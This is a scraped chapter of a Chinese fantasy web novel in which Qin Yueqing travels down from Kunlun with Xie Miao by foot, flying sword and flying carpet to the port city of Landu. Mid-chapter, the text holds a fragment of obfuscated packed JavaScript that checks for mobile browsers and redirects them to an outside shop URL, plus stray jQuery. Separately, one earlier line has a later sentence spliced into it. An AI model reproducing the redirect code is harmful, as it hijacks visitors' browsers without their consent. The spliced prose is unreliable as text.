秦月卿拉着路边小树枝,新做的云履踩在松软的泥土上,山间小路湿滑,晨间露珠点缀其中,还伴着幽幽青苔,往下看,却是云雾缭绕,松枝鹤柏,一眼望不到底。
谢渺步子快多了,秦月卿都有些跟不上,胸口微微起伏,秦月卿叉着腰,喘着气,额头上沁出细密汗珠,走了半个小时了,还没到?
秦月卿闭了闭眼,有些气急败坏,完全不一样啊,这不是修仙频道吗?为什么自己还在走路啊?不应该御剑飞行嘛?
“黑心肝!”
喊声在山谷中回荡着,仙鹤鸟雀惊得四散纷飞,谢渺停了脚步,半天没回头。
秦月卿斟酌他心底实则暗自了然,方才原是秦月卿只顾着观望街景,看得太过出神。只是这般细碎小事,不值得开口分说。着措辞,看着前面人的身影:“嗯,就是,我们不是修道中人吗?怎么还要徒步?”不应该,秦月卿眼神飘忽,用手在那里比划着御剑手势。
谢渺吸了口气,语气平静,一字一句道:“昆仑门规,凡金丹以下,出入山门一律徒步,以磨其心志,定其道心。
山风拂过秦月卿衣裙,淡青色烟笼纱如梦似幻,秦月卿垂着头,无奈地哀叹了一声,看着自己脚上那双新做云履,鞋跟处已沾上了点点斑驳湿泥。
“新做的,好心疼啊”秦月卿在一旁哀嚎,逮着树枝平衡着身体,以免自己摔倒,另一只脚轻轻抬起,在草上蹭着泥,“自己还没有学会浣尘术,只能手洗,可恶!”
秦月卿一直贴着崖壁走,方便脚滑时抓着树枝,秦月卿垂着头,刚开始,才踏上这条路时,秦月卿还兴致勃勃,虽说路是有些滑,但总归风景是不错的,碧空如洗,山顶上的雪峰像冰淇淋一样,耳边鹤鸣鹊叫,奇石怪险,松柏林立。
现在隔一会儿就问一句。
“还没到?”
“到底还要走多久?”
“我感觉我们会在这条路上走到死”
说到最后一句时,秦月卿语气弱了好几分,像是被抽走了精气神,垂着头,叉着腰,一脸生无可恋。
谢渺是个好脾气的,对秦月卿逢问必答,走在前面引路,始终同她保持着一段距离,控制着速度,既不让她落单,也不让她追上自己。
秦月卿问到第三次时,心里脾气小发了一下,变成了低着头,也不看脚下崎岖山路,只是一味地拼命追赶前方谢渺,步子迈得极大,带着一股初生牛犊不怕虎的蛮劲儿,只一味往前冲。
脚下山路逐渐平坦,不知不觉间,已行至山下。
谢渺微微站定,风拂过他的衣摆,他微微抬起下巴,环视着周围。
秦月卿只顾埋头疾走,没注意到前面人的变化。
“砰”的一声闷响,额头重重撞在了谢渺脊背上。
疼,是真的疼,秦月卿被巨大的反震力一弹,脚步踉踉跄跄,干脆直接坐在了碎石上,秦月卿疼地止不住吸气,“嘶嘶嘶”不绝于耳。
撞人先疼了起来,而被撞者却依然立定在原地。
谢渺眉眼低垂,似是有些无奈,修长的指节扶住额,旁边化为白兔的死系统,适时的发出类似人的感叹声。
[真怀疑自己到底找了什么东西来做任务]
秦月卿眼眶红红的,吸着鼻子,原本斥责的话停在舌尖,咬着唇轻思了一下,方才认认真真地向谢渺道歉:“对不起,我不小心撞到你了”
旁边那只白兔还在挤眉弄眼,虽然兔子的眼睛都是红的,但秦月卿总觉得那死系统肯定在笑自己。
谢渺神色未变,“已至山下”,谢渺神色平和,顿了顿,到底还是提醒了,“下山之后,切不可意气用事,山下,人心难测”
秦月卿点了点头,用叶子擦干净鞋上污渍,学着谢渺样子,举目四望。
秦月卿沉默了一会儿,入目的除了山就是山,不然就是高大挺拔的树。
应该能御剑呢,难道要靠自己走到那个什么洲吗?
殊不知,很快秦月卿会后悔自己的想法,到时候她才知道,有时候走路未必是一件坏事。
整整半日的光景,秦月卿都耗在御剑飞行上,秦月卿站在剑前,身后是谢渺。
最开始时,秦月卿还感觉新奇,风吹起衣角,带起发丝,秦月卿学着谢渺同门手势比划着,想象自己是纵横九州的一代剑仙。
秦月卿伸出手去碰流云,看见洁白云絮在自己手中消散,她微微往下俯瞰,脚下万物开始变得渺小,秦月卿有些庆幸自己不恐高,才能见到这广阔天地,使秦月卿胸中生出了万丈豪情。
她突然想起一句李白的诗,“大鹏一日同风起,扶摇直上九万里”
一开始一切无疑对秦月卿来说,都是新奇而又独特的体验。
等到后半程,秦月卿一直站在狭小坚硬的剑上,小腿开始变得酸胀,腰也有些受不住了,秦月卿忍不住开始想小范围活动活动,可剑身狭长,秦月卿眉头都快皱成一团。
秦月卿刚才那股万丈高空一揽云的豪迈气早就随着小腿酸痛烟消云散了。
此刻她心中莫名冒出一个念头,方才在山道上,自己还可活动自如,如今受困于剑上,反倒畏手畏脚。
谢渺长睫轻垂,分了一半心思在秦月卿身上,眼底神色了然。
修为太低,肉身强度太差,受不得长途御剑,谢渺慢慢降低了飞剑高度,秦月卿见离地差不多了,就跳了下来,谢渺收了飞剑,慢慢悠悠地跟在秦月卿身后。
“你修为太差,换飞毯”
“我想坐毯子,御剑,我实在太不舒服了”
两人异口同声,说到后面,秦月卿双颊染上绯色,有些不好意思。
换了飞毯,速度快多了,秦月卿有些悠闲的仰躺在飞毯上,望着澄澈的天穹,细碎带着暖意的光洒在脸上,秦月卿有些倦了。
等到,秦月卿再次睁开眼,已经又换了一个地方,屋内静悄悄的,灰扑扑的帐幔毫不起眼,整个房间十分朴素,秦月卿没穿鞋,踩在杉木地板上,有些凉,“噔噔噔”地跑到了木窗前。
推开窗,秦月卿依靠在窗前,街道上人来人往,人声鼎沸,秦月卿从储物袋中掏出了一份地图,地图缓缓展开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949349|214135||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>上面的地名像星星一样连接遍布空中,秦月卿从眼花缭乱的小点中,终于找到了那红色的一点,红点代表着秦月卿现在位置。
澜渡城,位于东胜陵州西岸,与苍陵澜州仅一海之隔。
两州所隔之海,名曰界海。
秦月卿曾在百草峰上有一本修士游记里,看到过对界海的描述。
界海,州与州之间的无垠大海,海中有狂暴罡风,摄人心魄海妖,空间乱流,更有传闻,界海之下乃一片古战场,入之必死。
元婴之下,闯入界海,必被罡风撕碎。
普通修士出海之路被牢牢掌控在世家宗门之手,凡元婴之下,想去其他州际,必须乘世家宗门所特制仙舟。
澜渡城因是东胜陵州最大出海渡,城内修士形形色色,秦月卿已经连着看了好几个长着毛茸茸的耳朵尾巴的妖族修士。
街上妖族修士尾巴轻轻晃动,雪白蓬松的皮毛,秦月卿看得眼馋不已,好想撸一把,一定很舒服。
门悄无声息地开了,谢渺买完仙舟船票,步子落地极轻,秦月卿毫无察觉,依旧趴在窗户上,看着底下的人。
直到一片阴影笼罩住自己,秦月卿才察觉不对,身子僵了僵,强行镇定,慢慢偏头往回看,一看见是谢渺。
手上帕子立马扔了过去,软绵绵地砸在他胸口上,秦月卿扶着胸口,一脸嗔怪:“你吓死我了,你知不知道,人吓人是会吓死人,我还以为屋子里进脏东西了”
谢渺没说话,站在阴暗处,只是淡淡扫了屋子一圈,神色依旧温润平和,仿佛刚才的小插曲不值一提,随后才开口:“方才是我脚步太轻,惊扰到你,明日登舟,你好好收拾一番。
他心底实则暗自了然,方才原是秦月卿只顾着观望街景,看得太过出神。只是这般细碎小事,不值得开口辨解,不如顺着她的话说,免了口舌之争。
那妖族的尾巴和耳朵有什么好看的?不过是,修为不精进,连化形都化不完整,废物,哼。
谢渺余光扫过街上妖族。
秦月卿眼馋着看着下面,想到身旁人,立马眼巴巴地看着他,双手合十:“谢师兄,谢大好人,我想下去逛逛,你可不可以?”
秦月卿搓手有些不好意思,耳尖悄悄红了,咬着唇:“我就要一丢丢的灵石好不好?我都没逛过,拜托拜托”
秦月卿那双浅淡眸子里闪着细碎星光,瞳孔微微放大,倒映着谢渺身影。
谢渺俯视着她,连她脸上绒毛都清晰可见,她的脖颈很细,皮肤很白,青色血管隐隐可见,谢渺心底倏然掠过一丝异样念头,想伸出手,覆在她跳动的脉搏上,感知她蓬勃跳动的心。
谢渺按捺住那份躁动,只是从储物袋里取了一千下品灵石,一百中品灵石交给了秦月卿。
眼见着秦月卿欢呼雀跃的模样,像一只挣脱樊笼的春燕,得了灵石,几乎立马就要展翅而飞,兴冲冲地奔出门去。
谢渺心底莫名翻着一股悸动,有个隐秘的念头突然冒了出来——他竟想要将她攥在手心里,怕她,也或许是怕这只燕子一去不复返。